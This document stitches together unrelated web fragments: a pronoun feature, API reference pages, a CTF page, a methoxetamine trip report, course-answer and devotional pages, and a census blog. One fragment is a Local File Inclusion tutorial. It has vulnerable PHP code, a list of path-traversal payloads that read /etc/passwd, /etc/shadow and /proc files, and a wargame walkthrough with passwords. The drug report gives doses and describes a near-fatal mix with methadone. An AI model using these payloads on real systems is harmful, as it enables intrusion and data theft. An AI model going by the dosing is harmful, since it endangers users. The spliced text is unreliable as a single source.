“Ultimately, we know that names have power,” bautista, who uses they/them pronouns and the lowercase spelling of their name, said. “We also know that pronouns have power, and it’s being able to refer to someone that reflects how they identify. It’s the nice thing to do on a basic level, but it also sends an affirmation to that person that who they are is valid.”
Like society, bautista said language also evolves. They said both can evolve together, but right now, language has not caught up with society yet, specifically with the use of pronouns.
Abby Gordon | Art Director
“Sometimes society evolves faster than language, sometimes language evolves faster than society and so I think that’s what we’re living right now,” bautista said. “We are starting to understand that gender and sexuality are very complicated identities that people hold.”
Joseph Metcalf, a junior studying math education, teaches some of the SafeZone programs on campus and said he will automatically use they/them pronouns until he knows someone’s pronouns for sure.
“I know from my friends who are part of the transgender community and part of the nonbinary community that there is an understanding that not everyone is going to get it right the first time,” Metcalf said. “Maybe not even the 50th time, but as long as they are trying or remembering then at least most people will understand.”
They/them used as singular pronouns have become a more typical use in society. Other pronouns that can be used are per, which is short for person; hu, which is short for human; hir, ze and many more.
“Some pronouns were created for specific communities,” bautista said. “Hir and ze, often get associated with the genderqueer community. But with the use of they/them becoming much more common, some of the other pronouns are falling out of common use.”
Mackenzie Yeauger said she believes pronouns are important because they provide a validity to the person by having their correct pronouns.
“It’s so important to an individual because that’s who we are,” Yeauger, a junior studying medicine, said. “I think the way that we are taught pronouns now days has been misguided due to the fact that it’s been deeply rooted in society for so long.”
bautista said people choose their pronouns based on what they feel is right. They said it is like a click inside of someone, but they also know that someone can change their pronouns over time.
“I think we’re living in this linguistic revolution that is confusing for all of us, both those who are advocates for this conversation, as well as folks who are new to the conversation,” bautista said.
Destiniee Jaram said she believes pronouns relate to a person’s identity.
 “They don’t get the privilege to be called what they should be called all the time.”
In new spaces, Jaram said she sometimes will introduce herself and her pronouns to show she is a safe space and an ally.
“I don’t think the conversation should be ‘preferred pronouns,’ I think it should just be ‘pronouns’ because putting ‘preferred’ in it takes away the validity of it,” Jaram said. “It’s not a preference.”
Landing Page
This story is part of a series of specially designed stories that represents some of the best journalism The Post has to offer. Check out the rest of the special projects here.


A real time analysis of the public's sentiment via Twitter of America's presidential candidates in the upcoming 2016 election and recent news articles relating to each of the candidates.
Sentiment analysis is a Hewlett-Packard Enterprise Haven OnDemand API that extracts positive and negative sentiments from text. The API operates by matching the structure of the sentence, recognizing the nouns, verbs, and other parts of speech, and then classifying the sentence based on the classification of the constituent words as positive, negative, or neutral. It identifies both the topic and the sentiment.
For more information on how to best use sentiment analysis, see here.
On the left, for each set of graphs, each candidate has their own coresponding bar which changes in accordance to the public sentiment on Twitter. The more positive the overall sentiment, the higher the bar goes. The more negative the overall sentiment, the lower the bar goes.
Scores of sentiments from 0 to 49 are considered negative.
Scores of sentiments of 50 are considered neutral.
Scores of sentiments from 51 to 100 are considered positive.


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object edu.mit.csail.sdg.alloy4graph.Artist
public final class Artist
This class abstracts the drawing operations so that we can draw the graph using different frameworks such as Java2D or PDF.
Thread Safety: Can be called only by the AWT event thread.
| Constructor Summary | |
|---|---|
Artist(java.awt.Graphics2D graphics2D)
Construct an artist that acts as a wrapper around the given Graphics2D object. |
|
Artist(OurPDFWriter pdfWriter)
Construct an artist that acts as a wrapper around the given OurPDFWriter object. |
| Method Summary | |
|---|---|
void |
draw(edu.mit.csail.sdg.alloy4graph.Curve curve)
Draws the given curve. |
void |
draw(java.awt.Shape shape,
boolean fillOrNot)
Draws the outline of the given shape. |
void |
drawCircle(int radius)
Draws a circle of the given radius, centered at (0,0) |
void |
drawLine(int x1,
int y1,
int x2,
int y2)
Draws a line from (x1,y1) to (x2,y2) |
void |
drawSmoothly(edu.mit.csail.sdg.alloy4graph.Curve curve)
Draws the given curve smoothly (assuming the curve is monotonic vertically) |
void |
drawString(java.lang.String text,
int x,
int y)
Draws the given string at (x,y) |
void |
fillCircle(int radius)
Fills a circle of the given radius, centered at (0,0) |
static java.awt.geom.Rectangle2D |
getBounds(boolean fontBoldness,
java.lang.String string)
Returns the bounding box when drawing the given string using the given font size and font boldness settings. |
static int |
getMaxAscent()
Returns the max ascent when drawing text using the given font size and font boldness settings. |
static int |
getMaxAscentAndDescent()
Returns the sum of the max ascent and max descent when drawing text using the given font size and font boldness settings. |
void |
set(DotStyle style,
double scale)
Modifies the given Graphics2D object to use the line style representing by this object. |
void |
setColor(java.awt.Color color)
Changes the current color. |
void |
setFont(boolean fontBoldness)
Changes the current font. |
void |
translate(int x,
int y)
Shifts the coordinate space by the given amount. |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Constructor Detail |
|---|
public Artist(java.awt.Graphics2D graphics2D)
public Artist(OurPDFWriter pdfWriter)
| Method Detail |
|---|
public void translate(int x, int y)
public void drawCircle(int radius)
public void fillCircle(int radius)
public void drawLine(int x1, int y1, int x2, int y2)
public void setColor(java.awt.Color color)
public void drawSmoothly(edu.mit.csail.sdg.alloy4graph.Curve curve)
public void draw(edu.mit.csail.sdg.alloy4graph.Curve curve)
public void draw(java.awt.Shape shape, boolean fillOrNot)
public void set(DotStyle style, double scale)
NOTE: as a special guarantee, if gr2d==null, then this method returns immediately without doing anything.
NOTE: just like the typical AWT and Swing methods, this method can be called only by the AWT event dispatching thread.
public void setFont(boolean fontBoldness)
public void drawString(java.lang.String text, int x, int y)
public static int getMaxAscent()
public static int getMaxAscentAndDescent()
public static java.awt.geom.Rectangle2D getBounds(boolean fontBoldness, java.lang.String string)
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Sentry Kayleen:
Bring death upon the fighters and an unforgettable fear upon their widows, so that the balor orcs will never again dream of coming into our woods.
May Shilen's will guide your sword and arrows straight to the hearts of your enemies! May Gran Kain increase the strength of your spells and spirits!


PS5 Watcher Slackbot Example
This is an example of a
Slack bot
for Slack. To set it up as a command:
Create a
new Slack app
.
Test URL
/crawl/
.


|
Nakama C++ Client SDK
2.2.0
Client for Nakama Server
|
Represents a realtime match. More...
#include <NMatch.h>
Public Attributes | |
| std::string | matchId |
| The ID of the match, can be used to join. More... | |
| bool | authoritative = false |
| True if it's an server-managed authoritative match, false otherwise. More... | |
| std::string | label |
| Match label, if any. More... | |
| int32_t | size = 0 |
| Current number of users in the match. More... | |
| std::vector< NUserPresence > | presences |
| The users currently in the match. More... | |
| NUserPresence | self |
| A reference to the current user's presence in the match. More... | |
Represents a realtime match.
| bool Nakama::NMatch::authoritative = false |
True if it's an server-managed authoritative match, false otherwise.
| std::string Nakama::NMatch::label |
Match label, if any.
| std::string Nakama::NMatch::matchId |
The ID of the match, can be used to join.
| std::vector<NUserPresence> Nakama::NMatch::presences |
The users currently in the match.
| NUserPresence Nakama::NMatch::self |
A reference to the current user's presence in the match.
| int32_t Nakama::NMatch::size = 0 |
Current number of users in the match.


- Information
-
This CTF has ended!
This is a static page for you to be able to download the challenges and try yourself if you fancy, flag submission, leaderboard etc. are disabled
- About
- Hack Operation Plan Response (HOPR) was a Capture The Flag competition. It was prepared by ComSec team for
Coventry University's students.
We aimed to encourage you to learn in a fun and interesting way.
We hope you will enjoy solving our challenges as much as we enjoyed making them.
And remember, HAVE FUN!
- Team
-
Contact<EMAIL_ADDRESS>Twitter: @sleepunderflow
Contact<EMAIL_ADDRESS>Twitter: @zikikurintoki
Contact<EMAIL_ADDRESS>Twitter: @SInit0


Mission Statement
Penetration Testing
Tiny Core Factory GitHub
Official Tiny Core Website
Official Tiny Core Forums
Contact Factory Overseer


First Name:
Last Name:
Email:
Type of License:
Business
Personal
Reason:
Option
Select a Reason
Software Support
Harware Support
Information Request
Additional Information:
I have read the terms of service.


--- date: 2010-02-10T00:00:00Z published: true title: BBC tells news staff to embrace social media - or leave. url: /2010/02/10/bbc-tells-news-staff-to-embrace-social-media-or-leave-/ ---
BBC news journalists have been told to use social media as a primary source of information by Peter Horrocks, the new director of BBC Global News who took over last week. He said it was important for editorial staff to make better use of social media and become more collaborative in producing stories.
"This isn't just a kind of fad from someone who's an enthusiast of technology. I'm afraid you're not doing your job if you can't do those things. It's not discretionary", he is quoted as saying in the BBC in-house weekly Ariel.


ERROR
To begin watching the world, please click anywhere on your screen.
we are always alone
⎋
🎤
⚡
🔔
🎹
🚪
🚗
🐦


In later stages of slow detox off Methadone (current 10mg daily) But in reasonable health. Have not done any dissociatives for years so I doubt my tolerance is very high.
Setting:
I have the house all to myself for the next few hours. Practice guitar if I can, computer. Lots of experience with Psychedelics and Dissociatives... Never have had a bad experience on any of these 'cortical vitamins' even the scariest contained sacred gems of wisdom that made life more meaningful. I've done a lot of digital architectural work/graphic design with relevant training and designed 3d game levels
and some basic C+ programming. I've been a professional musician for years, but its currently on the shelf... Also have done a lot of reading and study around theology, mysticism, anatomy and brain biochemistry in an effort to keep as safe as possible when experimenting with altered states. I believe that a solid foundation in these disciplines helps provide a useful framework that can guide me back to familiar territory if needed. And it has. Many times. Knowledge and Faith can help to preserve sanity when one is exploring the edges of madness.
10:20am 5mg nasal allergy test - No allergic reaction, just start of good vibes, so I progressed to;
11:30am 60mg sublingual
Started to feel a clean DXM-like come-on 10 minutes later. Within 5 minutes after that I was in a second plateau DXM -like state and rising! No nausea, very clean. On my way now.....hope to remember the experience! Typing then became impossible so the rest is from memory.
I think I may have blacked out for an hour or two while sitting in front of my computer trying to type. It was 2pm when I next checked the time!
Now in an incredibly dissociative state, I very quickly 'turned into an alien' and my hands felt too weird and far away to possibly play guitar! (Little electronic alien paws wiggling - craaaazy shit!) My hearing range moved up to higher and higher frequencies, and I lost the low ones completely. Picking up digital and radio signals with no radio or TV turned on in the house/nearby. Best way I can describe this is like the opening credits to the film 'Pulse'. I could see the data streams and
radio waves as well as hear some of them. An intense euphoria accompanied the vision.
Turned on FM radio and did a scan through some stations and ACTUALLY found a couple of them. I could hear the song playing via my radio as well as my expanded awareness picking it up! Due to the fantastic nature of the experience though it's impossible to discern the truth about this at the moment unfortunately. Next time may try
some tests with another person present to confirm.
Had an idea to try to create a 'Virtual Avatar' of myself mentally. To visualise this into a perceivable form I used the concept of quantum-level full resolution digital avatar such as in The Matrix, where the digital self has fully functioning bio-systems mirroring that of the physical body. Sitting on my bed I visualised my Avatar standing next to me then my awareness transferred to the 'ghost'. There was something intensely electronic about the composition of my 'Digital' body. Looked a bit like the way Neo sees the Matrix, but I was made of white light. I strolled around the house trying to interact with physical objects but I was as insubstantial as a ghost. Thought I heard somebody knocking and this disrupted the experience.
Closed my 'eyes' and when I opened them again I was lying in my bed back in my body. Unfortunately from then on I kept expecting people to turn up and kept hearing them talking in the house. (I think this was just people in the neighborhood talking elsewhere) so I concentrated on trying to straighten myself up before I was seen shuffling around by visitors! Still buzzing till about 6:30 pm, I drank a lot of water and lay in bed listening to Opeth and smoking bud until I fell asleep. Slept soundly and woke at 8am, a little haggard but otherwise fine. Overall a positive on this one!
I cant help thinking that the little bit of Methadone in my system may have stopped me reaching the upper echalons of consciousness this time. I know from experience that high enough doses of psychedelics can break through opiate sedation, but the side effects from doing this are BAD. Thought I was dying last time I tried that. Lots of vomiting kind of ruins the trip.
Think I'll wait a while before trying M-ket again, but I rate this magical chemical very very highly!
It worries me a bit that kids or unstable types might get hold of it and that will ruin everything and lead to Methoxetamine being unfairly demonised and restricted, like what has happened with many drugs around the world. I for one will always treat it with the respect and caution it deserves.
*Oh and a friendly word of warning. Please DON'T take Dissociatives any more than once a week MAXIMUM. If you do you are most likely going to end up manic, and the over-confident, muddled thinking can trick a person into taking it more and more
then - addicted, which descends into HELL with suicidal depression. The stuff stops giving a good buzz and just kind of pickles the brain like long term alcoholic binge drinking. I know from experience years ago with DXM. I saw a few DXM users fall into this, and had it happen to me for 3 months. Took a long time to recover. Methoxetamine may be far less toxic than DXM or Ketamine, but I'd be willing to bet we can get into just as much trouble if we abuse it.
---------
SEPTEMBER 2011 FOLLOW-UP
Alright, time has passed and I've been able to carefully explore the limits of this completely new substance on average once a week, with doses varying between 50 - 100 mg. Absence of negative after/side effects and a couple of problem-free full medical/psychological check-ups have made me realize that MXE is VERY safe at these levels of usage.
First - a warning. Mixing higher doses with ANY amount of Methadone can prove very dangerous in a way, as it CAN depress breathing to a fatal level. I was lucky to have been with a sitter and he snapped me out of my catatonia with a slap around the chops and cold water to the face! What I saw in those few minutes of standing on the edge of the Abyss has changed my life forever. For the better!!! That said, I do feel lucky to have avoided any harm and I would not recommend people get too slap happy about taking MXE. Wouldn't it stink if the narrow minded 'authorities' decided to classify and illegalize it because of casualties due to careless use? (to preserve their P.R. standing and political votes - not because they give a damn)
It is my firm belief at the moment that MXE should ONLY be used in conjunction with positive personal growth techniques such as Spiritually based (not religious....Spiritual) belief systems centered on Life and Love, and a burning desire to change one's life and to climb out of the self imposed hells of addiction and guilt.
In years past living under the agendas of other people's expectations had reduced my life to a tiny fraction of it's potential and the internal conflict was such that it drove me to heroin addiction - which is hell on Earth once you become dependent...
There are many decent enlightenment systems out there at the moment, but after much research I settled on Michael Jura's Remote Viewing Workshops and Burt Goldman's Quantum Jumping course.
All this activity has opened my eyes to a Brave New World of Truth and Holistic Health. It has allowed me to move beyond the tiny arena of Mundane game playing and Methadone addiction (legally prescribed) and re-kindled my love of Education, the Arts, and of course Sex!!!
PLEASE behave intelligently people - we may be on the cusp of a revolution here and legal Ethnogens being demonized by the ignorant will not only make them illegal, but will deprive a great many of the healing catalyst that is Methoxetamine.
[Reported Dose for Follow-Up: '100 mg']
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


TELL US WE HELP knows you need Urgent Help Now. We Are here to Help you plan for the future. Provide us With All the information requested in the Form Below TuWH™ helps you protect your hard-earned assets while taking advantage of oppportunities whenever and however they appear.


TWICE reveal their seasons greetings for 2020 for Sana, Jihyo, and Mina
by sl278TWICE has revealed their adorable season's greetings images for Sana, Jihyo, and Mina ahead of the Christmas festivities to come.
The girls display their precious charm as they pose as university school girls on a rugby team.
Stay tuned for more updates regarding the other member's image releases!


It is a Institute compulsory(IC) Course. Now, whats institute compulsory? It a pain all undergraduate students at IITK Share. :)
This is a repository of all Lab and Bonus Question. There maybe answers, those are my answers don't trust them blindly.
Course title: Introduction to C Programming
Course Site: Prutor
My Instructor: Prof. Biswabandan Panda
Offered in: 2021-21 Sem 1
Bonus questions are questions released by the professor during the week, based on the topics taught during the week, to be used for practice. They are released 3-4 days before lab-day and are extremely helpful in understanding the material. Doing the bonus questions is a sure-fire way to score good in labs.
Statistically speaking, some are very daring, they skip practice, some are very genius, they just verify other's solution. Well, I thank them for lowering the average so as to give others the opportunity to score A/B grade.
Browse Bonus QuestionsESC-101 has a lab every week. Lab questions are the questions released at the start of lab time. The code for these problems is to be submitted in 3 hours during labs. The questions are based on the topics taught that week and had both visible and hidden test cases.
For cheating, all I want to say is Biswa was generous. 'Mass fakka' is always on table.
Browse Lab Questions3 Quiz blah balh blah. You know abt it by now. ktnxbye.
All answers in quiz that u might see are right except for some True False.
Browse Quiz QuestionsCopyright © 2021 Cheating Gives Mass Fakka Pls don't - BTW NO rights reserved


| Figure 1 |
Study area. (a) the northern Chinese coast (b) the southern ... |
| Figure 2 |
The Venn's four‐set diagram. Based on the current habitats a ... |
| Figure 3 |
AICc and smallest AICc values of ecology niche models with d ... |
| Figure 4 |
Model evaluation metrics for ecology niche models at the nor ... |
| Figure 5 |
The spatial distribution of the changed habitats of spartina ... |


“We eliminated any possible pollution in our soils in order to deliver the purest organic produce to our customers’ tables.““We eliminated any possible pollution in our soils in order to deliver the purest organic produce to our customers’ tables.““We eliminated any possible pollution in our soils in order to deliver the purest organic produce to our customers’ tables.““We eliminated any possible pollution in our soils in order to deliver the purest organic produce to our customers’ tables.““We eliminated any possible pollution in our soils in order to deliver the purest organic produce to our customers’ tables.““We eliminated any possible pollution in our soils in order to deliver the purest organic produce to our customers’ tables.““We eliminated any possible pollution in our soils in order to deliver the purest organic produce to our customers’ tables.““We eliminated any possible pollution in our soils in order to deliver the purest organic produce to our customers’ tables.““We eliminated any possible pollution in our soils in order to deliver the purest organic produce to our customers’ tables.“


atom-path-intellisense
Path Intellisense support for atom.
Autocomplete provider based on atom autocomplete-plus package.
Current build status :factory: | See Change Log :barber:
| Linux | MacOS | Windows |
|---|---|---|
Features
- Provides path suggestions based on typed path and context.
- By default suggestions are provided by pressing
ctrl + space
. Uncheckmanual-suggest
configuration setting to get suggestions at typing. - Suggestions are provided within scope selectors configured on
allowed-scopes
configuration setting. Default selectors cover pretty much languages but is extensible by adding more scope selectors.
Note to developers
If you find any selector combination that's missing or can improve this package make a PR with your add to allowed-scopes configuration setting.
- Escaping of single and double quotes is allowed for files and directories.
- Path suggestions mechanism relies on providers for appropriate grammar and selectors.
Providers
Default Providers :dart:
Default providers are the very basic path suggestion providers on this package given path suggestions for paths relative to current file and working out of the box on all allowed scopes.
Current file relative path provider Default
:muscle: Features
- Provides suggestions for paths relative to current file path.
- Works out-of-the-box on allowed scope selectors.
- Suggestions for paths relative to current file are shown by typing self
./
or parent../
directories. - Suggestions for paths relative to user's home directory are shown by typing:
~/
. - Suggestions for absulute paths are shown by typing forward slash:
/
targeting to base path configured withinroot-base-path
setting.When not in a project, suggestions fallback to FileSystem root directory shown files with appropriate permisions.
Current file path provider Default
:muscle: Features
- Provides suggestions for current file path.
- Works on following scope selectors:
.string.quoted', '.text .string', '.text.html.basic'
.
Extended Providers ❤
Atom-path-intellisense is not only based on default providers. Decoupling path suggestions mechanism from autocomplete-plus provider API gives the advantage of writing extended providers that cover more specific contexts and can be formatted in their own way.
We refer as extended providers to providers targeted to a specific language or more specific scope selectors and context.
Node.js path provider Extended
Node.js path provider gives suggestions for Node.js module imports.
:muscle: Features
- It's enabled on
JavaScript
,CoffeeScript
andTypeScript
files at.string.quoted
scope selector. - Supports both
require()
and ES6 moduleimport
statements. - Provides suggestions for Node.js built-in modules, local modules (on project
node_modules
directory) and modules relative to current file. - Filters JavaScript files by
.js
extension. - Removes file extension at selecting any suggestion.
- Is complemented by Default path providers for path suggestions on broader scopes.
See more of extended providers ...
Installation
Install from atom´s settings/packages tab or run following command on a terminal:
apm install atom-path-intellisense
Configuration
This package exports following configuration settings to config.cson
file:
allowed-scopes
Scope selectors (can be comma- separated) for which suggestions are shown. Apply to default suggestion providers. Other providers specify more specific selectors.
See: Scope Selectors Reference
- Type:
string
- Default:
'.source .string, .source.css.scss, .source.shell, .text .string, .text.html.basic'
enable-debug
Enable / disable debug options.
Atom's dev mode
$ atom --dev .
overrides this setting astrue
.
- Type:
boolean
- Default:
true
if Atom's dev mode$ atom --dev .
is enabled.false
otherwise.
manual-suggest
If enabled (recomended), suggestions are provided by pressing ctrl + space
. Uncheck to get suggestions at typing.
- Type:
boolean
- Default:
true
provider-strategy-all
If enabled, All suitable providers that can resolve suggestions are called with no priority consideration. (A bit lower operation).
- Type:
boolean
- Default:
false
root-base-path
Path for root dir on relative paths /
.
Special values are:
system
: Targets to FileSystem root dir.project
: Targets to current project root dir.When not in a project, suggestions fallback to FileSystem root directory shown files with appropriate permisions.
Windows and Unix paths are accepted depending on OS.
On Windows, absolute unix path/
is resolved to system partition:C:
in most cases. Eg:/Windows/
is resolved toC:\\Windows
.
- Type:
string
- Default:
project
Example of config.cson:
"*":
"atom-path-intellisense":
"allowed-scopes": ".source .string, .source.shell, .text .string, .text.html.basic"
"enable-debug": false
"manual-suggest": true
"provider-strategy-all": false
Acknowledgements :trophy:
- Scope selectors matching features are based on
Atom
selectors.js
. - Scope selectors cache is based on
autocomplete-plus
scope-helpers.js
. - Specs are based on
autocomplete-paths
specs
ones.


Robert Doiel
Digital Services Programmer
Caltech Libraries
Requirements
A laptop/device with network access
Linux (what I use), Mac OS X (which I am familiar with), or Windows (which I am very very rusty on)
Python 3 installed including the python standard library (see
https://docs.python.org/3/library/
)
Python 3 (v3.5.2) can be downloaded and from
https://www.python.org/downloads/
We’ll be making heavy use of urllib and json modules
A text Editor
A web browser
Access to ArchivesSpace REST API
The workshop hosts will provide access for Aug 2nd
If you have
Virtualbox
and
Vagrant
installed I have provided
archivesspace-dev
A basic familiarity with Python
Before the workshop
Make sure you have a modern web browser
Firefox or Chrome with the
JSONView
plugin recommented
Make sure you have
Python 3.5.2
Install
Python 3.5.2
if needed
Make sure you have a text editor
IDLE for Python 3 is what I will use in the Workshop
A test deployment ArchivesSpace is being provided as part of the Workshop
You can install your own via
VirtualBox and Vagrant
Recommended reading
Read through the
Python 3 tutorial
if they are not familiar with Python.
Bookmark in your web browser:
ArchivesSpace API Docs
Python Reference
This presentation website
Home
About Presentation
Abstract
Before the workshop …
View Presentation
How to install Python 3
How to install ArchivesSpace
How to install the presentation
Github repo


Perf Report:
Test (Frame #78)
Worker Thread 0
expand all
|
collapse all
View as:
tree
|
flat
Worker Thread 1
expand all
|
collapse all
View as:
tree
|
flat
Worker Thread 2
expand all
|
collapse all
View as:
tree
|
flat
CUMULATIVE
expand all
|
collapse all
View as:
tree
|
flat


Local File Inclusion¶
Local File Inclusion (also known as LFI) allows an attacker to include files in server-side through the web browser. File inclusions are part of every advanced server-side scripting language on the web.LFI is commonly found to affect web applications that rely on a scripting runtime. This occurs mainly due to a bad input validation mechanism, wherein the user’s input is passed to the file include commands without proper validation.
Impact¶
A successful LFI may result in compromise of the system, data leakage etc. The attacker can read, write, download files and can also run arbitrary codes with privileges of the web server.
Local file inclusion in PHP:¶
Consider an example as follows where we can apply this attack. http://victim_site/abc.php?file=userinput.txt The value of “file” parameter is taken into the following PHP code, and the file is included:
1 2 3 4 5 6 7 | <?php $file = $_GET['file']; if(isset($file)) { include("pages/$file"); } ?> |
Suppose that the input given is taken by the following code and the default extension being set is “.php”.
1 2 3 | <?php “include/”.include($_GET[‘testfile’].”.php”); ?> |
by giving file=../../../../etc/passwd%00 we can access the file by passing the ".php" extension.
An attacker can also download files by changing the file names. For example
URL: example/?download=broucher.pdf
The attacker may change the broucher.pdf to any other file such as passwords.txt,users.txt etc.
Explore it yourself¶
Make a PHP file with the code given above and explore different possibilities of the vulnerability.
Somepayloads :¶
- ../../../../etc/passwd/etc/issue
- ../../../../etc/passwd
- ../../../../etc/passwd/etc/shadow
- ../../../../etc/passwd/etc/group
- ../../../../etc/passwd/etc/hosts
- ../../../../etc/passwd/etc/motd
- ../../../../etc/passwd/etc/mysql/my.cnf
- ../../../../proc/self/environ
- ../../../../proc/version
- ../../../../proc/cmdline
- ../../../../proc/sched_debug
- ../../../../proc/mounts
- ../../../../proc/net/arp
- ../../../../proc/net/route
- ../../../../proc/net/tcp
- ../../../../proc/net/udp
Let's try a challenge¶
NATAS 7 : - USERNAME : natas7 - PASSWORD : 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
The site is very simple only with two buttons, but once when you click on Home or About the URL changes as follows :
It looks like the PHP file is including the file given as page, when we check the source code we get the hint as
hint: password for webuser natas8 is in /etc/natas_webpass/
So, let's try to include that file in the URL
URL : index.php?page=/etc/natas_webpass/natas8
On including this file we get the password for the next level on the screen
password : DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
This is a basic example of Local file inclusion vulnerability.


20+ Animals Who Know How to Strike a Pose
Our pets don’t need to try too hard to make us go “Aww.” However, some of them have built up this skill and are running at 200%, especially when it comes to a sweet pose. Some sit right on the head or paws of other animals, while others can stand or lie in a way that makes their owners rush to get their camera. It seems like all of them have graduated from modeling school, otherwise, how can one explain their talents?
We at Bright Side melted looking at each shot from these posers and admire the ability of people to capture these moments.
When you know what posing is all about:
This is how you should take photos at places of interest:
“Boyfriend is looking after my cat. He put the TV on and turned around to find this...”
The connection was successful.
“My boyfriend fosters kittens and we came back to all of them asleep on his laptop.”
It seems that everything is growing well in the garden.
Look at the one who controls the socks in this house!

There are no better pillows than a mother’s paws.
We all have our own personal understanding of comfort.
“Am I not better than your games?”
It seems that both of them are OK with it.
“Mom took me to her friends’ house and I was searching for a place to hide from humans. I entered the bathroom and realized that I am gonna stay here.”
“Kitten fell asleep on my husband for the 100th time.”
“Why would we need a bed when we have each other?”
“That happens every time I open puzzles.”
“Go and sleep in that cat house yourself.”
Please show us your pets’ photos where they have become the gurus of posing. We’re looking forward to hearing from you in the comments!
Preview photo credit stashers / Reddit


start location
stop location
scanCode
deviceInfo
camera
vibrate
start accelerometer
stop accelerometer
create contact
choose contact


August 7
And God is able to make all grace abound toward you; that ye, always having all sufficiency in all things, may abound to every good work.
2 Corinthians 9:8
If you have a desire to give, yet financial failures keep holding you back, you may be surprised to learn that what you need is not moremoney. What you need is a spiritual breakthrough. You need to take the Word of God and shatter the images of poverty and lack within you. You need to replace them with a vision of the sufficiency of God. Then more things, including money, will come.
How? By spending time thinking on the prosperity promises He's provided for you in His Word. By meditating on them. By believing you receive those promises actually being fulfilled in your life.
Begin to see yourself, for example, being a generous giver to people in need. In your mind, see yourself as a giver instead of the one who is always in need. Each time you do, the promise of God will become more real to you and your faith will grow.
"Oh my, Brother Copeland, surely you're not saying I should use my imagination!"
Yes, that's precisely what I'm saying. Why do you think God gave it to you?
Coupled with the Word of God, your imagination is a tremendous thing. However, without the Word, your imagination will become worldly and bind you instead of feeding your faith.
Sometimes creating such new images of hope are tough--especially when there are old images of doubt blocking the way. If you've been broke, for instance, all or most all of your life, it may take a while for you to see yourself prospering in God. But you can do it if you stay in the Word.
Just keep meditating the Word of God. Eventually you'll be transformed by the renewing of your mind. When that happens, financial failures will never be able to stop you again.
Scripture Reading: 2 Corinthians 8:1-14


One end of a link, either a source or a target. More...
#include <terminus.hpp>
Public Types | |
| enum | type { TYPE_UNSPECIFIED, SOURCE, TARGET, COORDINATOR } |
| Type of terminus. More... | |
| enum | durability { NONDURABLE, CONFIGURATION, DELIVERIES } |
| Durability. | |
| enum | expiry_policy { EXPIRE_WITH_LINK, EXPIRE_WITH_SESSION, EXPIRE_WITH_CONNECTION, EXPIRE_NEVER } |
| Expiry policy. | |
| enum | distribution_mode { MODE_UNSPECIFIED, COPY, MOVE } |
| Distribution mode. | |
Public Member Functions | |
| enum type | type () const |
| Get the terminus type. | |
| void | type (enum type) |
| Set the terminus type. | |
| enum expiry_policy | expiry_policy () const |
| Get the expiration policy. | |
| void | expiry_policy (enum expiry_policy) |
| Set the expiration policy. | |
| enum distribution_mode | distribution_mode () const |
| Get the distribution mode. | |
| void | distribution_mode (enum distribution_mode) |
| Set the distribution mode. | |
| enum durability | durability () |
| Get the durability flag. | |
| void | durability (enum durability) |
| Set the durability flag. | |
| std::string | address () const |
| Get the source or target address. | |
| void | address (const std::string &) |
| Set the source or target address. | |
| bool | dynamic () const |
| True if the remote node is created dynamically. | |
| void | dynamic (bool) |
| Enable or disable dynamic creation of the remote node. | |
| value & | node_properties () |
| Obtain a reference to the AMQP dynamic node properties for the terminus. More... | |
| const value & | node_properties () const |
| Obtain a reference to the AMQP dynamic node properties for the terminus. More... | |
| value & | filter () |
| Obtain a reference to the AMQP filter set for the terminus. More... | |
| const value & | filter () const |
| Obtain a reference to the AMQP filter set for the terminus. More... | |
One end of a link, either a source or a target.
The source terminus is where messages originate; the target terminus is where they go.
| enum type |
| value& filter | ( | ) |
Obtain a reference to the AMQP filter set for the terminus.
See also link_options::selector.
| const value& filter | ( | ) | const |
Obtain a reference to the AMQP filter set for the terminus.
See also link_options::selector.
| value& node_properties | ( | ) |
Obtain a reference to the AMQP dynamic node properties for the terminus.
See also link_options::lifetime_policy.
| const value& node_properties | ( | ) | const |
Obtain a reference to the AMQP dynamic node properties for the terminus.
See also link_options::lifetime_policy.


My Experience with the 1910 Census
25 Jan 2014 tagged in census, history, history 298, ma history, new bedford ma, new england history, yiddishHooray! I finished my first assignment for HIST 298!
Just before Winter Break, my supervisor and I sat down to discuss what at the time seemed like a long and grueling project:
“Go through the 1910 census (all six wards and corresponding precincts in each), and create a spreadsheet with the following info: every time you find a Jewish resident, take down their name, occupation, language spoken, year of immigration, where they are from, and where their parents are from.”
Since the corresponding UMass microfilm reel was missing (and my interlibrary loan was denied,) I had to use the university library’s subscription to Ancestry. (This had a silver lining: while I didn’t get the experience of using microfilm, it allowed me to work on the project from home during the intersession.) On Ancestry, I was able to view all six wards and districts to search for Jewish residents to add to my database.
There isn’t a clear-cut way of identifying a Jewish resident from the rest of the population, though there were some obvious clues. The quickest way, as my supervisor pointed out to me, was by reading through “Language” and Birthplace.” Interestingly enough, the census takers categorized various birthplaces. For example, a birthplace of Russia could be followed by subcategories like “German,” “Lithuanian,” or (as I was looking for) “Yiddish.” In later wards, “Yiddish” was substituted for “Jewish” or “Hebrew.” (I’m curious if this was a personal preference of the census takers or the families recorded.) The majority of the Jewish residents were Russian, though I also found several Austrians, Germans, and Hungarians.
Within each district, the census grouped families– not necessarily related families, but people living together. Most commonly, I would see a husband and wife and (depending on their age) their children. But oftentimes these families included in-laws, aunts and uncles, cousins, employees, or boarders. Usually, the male was the head of the household – however, if the wife was a widow with children, she would be considered the head.
We were specifically interested in their employment. (I don’t have much background on the various districts, so I do wonder if certain districts were for segregated by class. It appeared that many people employed by the same establishment lived nearby each other.) Most residents worked for a dry goods store (as peddlers or merchants) or in a cotton mill. The most interesting professions were four Hebrew teachers, three rabbis, and one pin boy at the bowling alley!
The most difficult aspect of the project was deciphering handwriting. Ancestry has an index for most of the information, making it easy to scan through several pages in a row. But some of the occupations were almost illegible – my friends and I had fun attempting to make some guesses as to what they might be referring.
